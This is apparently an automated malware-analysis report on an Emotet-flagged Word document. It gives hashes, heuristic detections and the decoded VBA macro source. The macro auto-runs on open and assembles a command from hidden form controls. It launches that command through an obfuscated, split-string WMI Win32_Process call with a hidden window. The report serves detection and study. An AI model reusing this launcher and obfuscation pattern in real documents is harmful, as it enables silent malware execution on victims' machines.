Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d08b94869e7acf01…

MALICIOUS

Office (OLE)

135.8 KB Created: 2019-05-29 07:15:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: dfc5c5d3570dc1384c0841b2c985e511 SHA-1: a4cc3091a9ccce6ef7a9e9e42f268d03212800a9 SHA-256: d08b94869e7acf012dcc4907c3e88da11f5997dc3f925cf86345e139b831318c
310 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    CreateObject(("winmg" + "mts:Win32_Process")).Create# Vf8hT5, G_J8IY, PzPBFaI, Asiu9Qnw
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    CreateObject(("winmg" + "mts:Win32_Process")).Create# Vf8hT5, G_J8IY, PzPBFaI, Asiu9Qnw
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(("winmg" + "mts:Win32_Process")).Create# Vf8hT5, G_J8IY, PzPBFaI, Asiu9Qnw
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen( _
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7168 bytes
SHA-256: 275bdd6f5aaddc8820f38c525ec2e4f01af1dbaf7cce29e5c4e39bf5a8eb59cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "F0ii_Nc, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "jkC4kkwd, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "Kua8iS, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   'Debug.Print "z_ZfnC" + ("986" + ("ihOlmU0h") + "SMQwnu" + "46") + "InLKrP" + ("n0TR2Hn") + ("nfluRT" + "vHtOww" + "581" + ("iPZWhWJ4") + ("RBjFosV" + ("ic5UWDz") + "125" + ("728") + ("KtdDcYp7" + ("229"))))
Debug.Print "sEvfGYC" + ("92" + ("qBJVw6D") + "MapNWmid" + "633") + "VuaNlz" + ("zYFoskYs") + ("idlnd5BM" + "ti6Z1dA" + "71" + ("m9UMWWJz") + ("w6Ov9zc" + ("aMZ8L0") + "394" + ("470") + ("MkUFY0sJ" + ("405"))))
rY1EBd
   'Debug.Print "QNSPjK" + ("780" + ("TLa9rpU") + "PXM5kN" + "238") + "HzKIio3M" + ("lpi03j7") + ("Nq2q5fZ" + "VnFAAdoU" + "323" + ("oGft3Ci") + ("RUpJ5PB" + ("OnIA4w") + "302" + ("381") + ("EViPqaj" + ("153"))))
Debug.Print "q2BqOo" + ("96" + ("FwbWLCnf") + "laiU1o" + "57") + "zuVF2J" + ("fdwOqUc") + ("h0WMC6z7" + "RhLBL2A_" + "189" + ("iN2nBC_A") + ("Bs8AFb" + ("qjKZc_5a") + "438" + ("596") + ("RQ3MDvfk" + ("17"))))
End Sub


Attribute VB_Name = "mwoJaI"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wMQr_zT"

Attribute VB_Name = "Kt58D32s"

Attribute VB_Name = "UlYj1PuR"

Attribute VB_Name = "YYQwvw"

Attribute VB_Name = "oHhtOMq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pUORAWwS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "d2rYRf3N"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mjnYHtd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "fYMK3JFw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jzd_bMX"
Function rY1EBd()
   'Debug.Print "CNJ5ja" + ("551" + ("Z39zpru") + "JWlVRi" + "14") + "JiWvI3M" + ("CP1q5bo") + ("VTflGXj" + "cs8m58" + "22" + ("KtuFkGMq") + ("acJsiF" + ("ulX_MJ") + "833" + ("666") + ("XV5pisb" + ("63"))))
Debug.Print "mZYaIX" + ("469" + ("AcjSoIv") + "bkQ6Pp" + "234") + "s6cRaW" + ("ZM82zqP") + ("E7DQjzVN" + "DzJuMQ" + "78" + ("wuBKAEoj") + ("k5AnZjT" + ("RIHD5N") + "216" + ("741") + ("nluEkWH" + ("72"))))
Vf8hT5 = ThisDocument.jkC4kkwd + ThisDocument.Kua8iS + ThisDocument.F0ii_Nc
   'Debug.Print "dHRD3Zo6" + ("457" + ("iLwnocE") + "os1znPB" + "364") + "ctfA5z6K" + ("anIjjfh") + ("u03znE2" + "WnYRKmK" + "620" + ("v1tS4b") + ("dQRItB" + ("sq648Cfb") + "728" + ("566") + ("YhZ5VX" + ("96"))))
Debug.Print "j_Yf6R" + ("39" + ("vWWSvi") + "L3VSkU" + "253") + "C2YwV7Ur" + ("aYBwcObp") + ("Iw7LDJOQ" + "iIlPOL" + "822" + ("VBlkzM5") + ("tEIpbC" + ("wMuMrD") + "831" + ("67") + ("pzhQZ7G" + ("402"))))
CreateObject(("winmg" + "mts:Win32_Process")).Create# Vf8hT5, G_J8IY, PzPBFaI, Asiu9Qnw
   'Debug.Print "PuZvJ3" + ("354" + ("tDzWTIX") + "bs065V" + "564") + "NrhX0njl" + ("fAMLlJ") + ("hUEpjCWp" + "T1ELK_" + "102" + ("aEL2sE") + ("CVjYvoo7" + ("iLfAUOUN") + "230" + ("219") + ("KFSFunci" + ("360"))))
Debug.Print "KTT4znL" + ("428" + ("JjHjfu9") + "r3ZNIbG" + "669") + "YKb_vS" + ("ShkCzK") + ("dKjP5f" + "niwGLcr9" + "276" + ("RuhWRwtm") + ("pEP4H37J" + ("zMkOMf") + "592" + ("830") + ("jwXY0QCz" + ("241"))))
End Function

Attribute VB_Name = "z89djODl"
Function PzPBFaI()
   'Debug.Print "vhAb11HZ" + ("71" + ("jRDvDdc9") + "T0V9PCjh" + "433") + "l47juNnZ" + ("nKEIaRct") + ("Wpwhjqd" + "d3ojH6ZI" + "189" + ("qjiHmz") + ("qwHzQiTE" + ("AEuBmk6") + "127" + ("606") + ("BJQZ7m" + ("881"))))
Debug.Print "vuYpzBbD" + ("380" + ("rUuLPfw8") + "ZNUlwn" + "855") + "tb9YdQr" + ("fI3vhJ") + ("VFKaw8Ii" + "DD0YloC" + "202" + ("zQ6jajV1") + ("jLMGOwP6" + ("q5DtnBQ") + "215" + ("551") + ("RzjvIKmA" + ("245"))))
Set PzPBFaI = CreateObject(("winmg" + "mts:Win32_Processstar" + "tup"))
   'Debug.Print "hjfJjE" + ("204" + ("Q0iT2U") + "wEiQdJ" + "464") + "In0S4Zi" + ("SOB30hGW") + ("vYFpdZAa" + "IWC627jv" + "914" + ("DnG90LD") + ("IHRhVR" + ("b430_4jA") + "197" + ("111") + ("wVcbW1" + ("754"))))
Debug.Print "ZO9UioDE" + ("511" + ("slPBjlE") + "wwEDCCz" + "666") + "ZjGSBp" + ("aOj7rhb") + ("Fa4vv_b" + "I5RbzYOV" + "73" + ("PNXo8khB") + ("bm2qtP" + ("mjpjTfA") + "383" + ("69") + ("kVdXbE" + ("886"))))
With PzPBFaI
   'Debug.Print "ShX4iCAJ" + ("266" + ("Qzi24N0") + "Kz55U8a" + "79") + "AJV3stfw" + ("zJCD6GVV") + ("oNqpiho" + "fn73a8X" + "968" + ("HYZoOpCw") + ("LlEl2Ezi" + ("IEBPtDA") + "289" + ("623") + ("HakVDXj" + ("436"))))
Debug.Print "nwfVBiV" + ("19" + ("tRilEX") + "IovJubEK" + "498") + "kODr7ZRj" + ("aqQR9p34") + ("jNoQWr" + "DQ2DFO" + "649" + ("inMz2QOp") + ("twwNSh0" + ("izVOzNd") + "625" + ("844") + ("CnC1RQw" + ("489"))))
. _
ShowWindow = fYNuSSD + FHKVCPY + ToYMXbP + wBviRiKL + C6LkR8
   'Debug.Print "I3F3h7vi" + ("20" + ("L7JIQt") + "MXYCCV" + "29") + "GwSXnXF" + ("vfMIqWU") + ("Kmw_11" + "Sw1Cjf" + "836" + ("L84liDH") + ("BAGsCtiT" + ("cI0dwZA") + "324" + ("184") + ("zXtTJXq" + ("437"))))
Debug.Print "jKBzlGp" + ("735" + ("KrW2OOi") + "cu8bZB" + "647") + "uVz4K74" + ("hKSWlEzM") + ("tE64iP" + "mtnz8tP2" + "763" + ("ba0QR1") + ("JJ3mMtnf" + ("XQnCHJQU") + "856" + ("217") + ("mTE4zl" + ("905"))))
End With
   'Debug.Print "jD2B4RTj" + ("114" + ("jaj5wa") + "c1DM104h" + "548") + "jtjqqW" + ("LL0mzo") + ("nWHzv7ci" + "sAD_vwm" + "973" + ("Fu2i_KJ") + ("LRiOPHK" + ("TsQ0rD") + "490" + ("802") + ("WM_wIC" + ("634"))))
Debug.Print "dwkzz0w" + ("340" + ("q3kUdlwT") + "pDL06P" + "365") + "VMmGp3V" + ("ZA7sLBXW") + ("bNVuj9th" + "timj35k" + "213" + ("YHz5zHIF") + ("fjYitP" + ("FJ8UuMC") + "938" + ("392") + ("ObKl7ZZb" + ("442"))))
End Function